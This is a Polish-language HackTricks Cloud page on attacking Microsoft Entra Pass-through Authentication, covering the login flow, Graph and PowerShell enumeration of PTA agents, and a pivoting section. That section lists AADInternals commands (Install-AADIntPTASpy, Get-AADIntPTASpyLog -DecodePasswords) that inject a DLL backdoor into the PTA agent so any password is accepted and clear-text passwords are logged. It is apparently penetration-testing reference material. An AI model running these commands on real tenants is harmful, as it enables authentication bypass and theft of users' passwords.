Az - PTA - Pass-through Authentication
{{#include ../../../../banners/hacktricks-training.md}}
Podstawowe informacje
Z dokumentacji: Microsoft Entra pass-through authentication pozwala użytkownikom na logowanie się zarówno do aplikacji lokalnych, jak i opartych na chmurze, używając tych samych haseł. Ta funkcja zapewnia lepsze doświadczenie użytkowników - jedno mniej hasło do zapamiętania, a także zmniejsza koszty pomocy IT, ponieważ użytkownicy rzadziej zapominają, jak się zalogować. Gdy użytkownicy logują się za pomocą Microsoft Entra ID, ta funkcja weryfikuje hasła użytkowników bezpośrednio w lokalnym Active Directory.
W PTA tożsamości są synchronizowane, ale hasła nie są jak w PHS.
Uwierzytelnienie jest weryfikowane w lokalnym AD, a komunikacja z chmurą odbywa się za pomocą agenta uwierzytelniającego działającego na lokalnym serwerze (nie musi być na lokalnym DC).
Przepływ uwierzytelnienia
.png)
- Aby zalogować się, użytkownik jest przekierowywany do Azure AD, gdzie wysyła nazwę użytkownika i hasło
- Dane uwierzytelniające są szyfrowane i umieszczane w kolejce w Azure AD
- Lokalny agent uwierzytelniający zbiera dane uwierzytelniające z kolejki i je odszyfrowuje. Ten agent nazywa się “Pass-through authentication agent” lub agent PTA.
- Agent weryfikuje dane uwierzytelniające w lokalnym AD i wysyła odpowiedź z powrotem do Azure AD, która, jeśli odpowiedź jest pozytywna, kończy logowanie użytkownika.
Warning
Jeśli atakujący skomprymuje PTA, może zobaczyć wszystkie dane uwierzytelniające z kolejki (w czystym tekście).
Może również zweryfikować dowolne dane uwierzytelniające w AzureAD (podobny atak do klucza szkieletowego).
Enumeracja
Z Entra ID:
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
Sprawdź, czy agent działa na serwerze lokalnym:
Get-Service -Name "AzureADConnectAuthenticationAgent"
Pivoting
Jeśli masz admin dostęp do serwera Azure AD Connect z działającym agentem PTA, możesz użyć modułu AADInternals do wstawienia tylnej furtki, która zweryfikuje WSZYSTKIE hasła wprowadzone (więc wszystkie hasła będą ważne do uwierzytelnienia):
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
Remove-AADIntPTASpy # Remove the backdoor
Note
Jeśli instalacja nie powiedzie się, prawdopodobnie jest to spowodowane brakiem Microsoft Visual C++ 2015 Redistributables.
Ten backdoor będzie:
- Tworzyć ukrytą folder
C:\PTASpy - Kopiować
PTASpy.dlldoC:\PTASpy - Wstrzykiwać
PTASpy.dlldo procesuAzureADConnectAuthenticationAgentService
Note
Gdy usługa AzureADConnectAuthenticationAgent zostanie ponownie uruchomiona, PTASpy jest „odładowany” i musi być ponownie zainstalowany.
Caution
Po uzyskaniu uprawnień GA w chmurze, możliwe jest zarejestrowanie nowego agenta PTA i można powtórzyć poprzednie kroki, aby uwierzytelnić się przy użyciu dowolnego hasła oraz uzyskać hasła w postaci czystego tekstu.
Seamless SSO
Możliwe jest użycie Seamless SSO z PTA, które jest podatne na inne nadużycia. Sprawdź to w:
References
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta
- https://aadinternals.com/post/on-prem_admin/#pass-through-authentication
{{#include ../../../../banners/hacktricks-training.md}}
HackTricks Cloud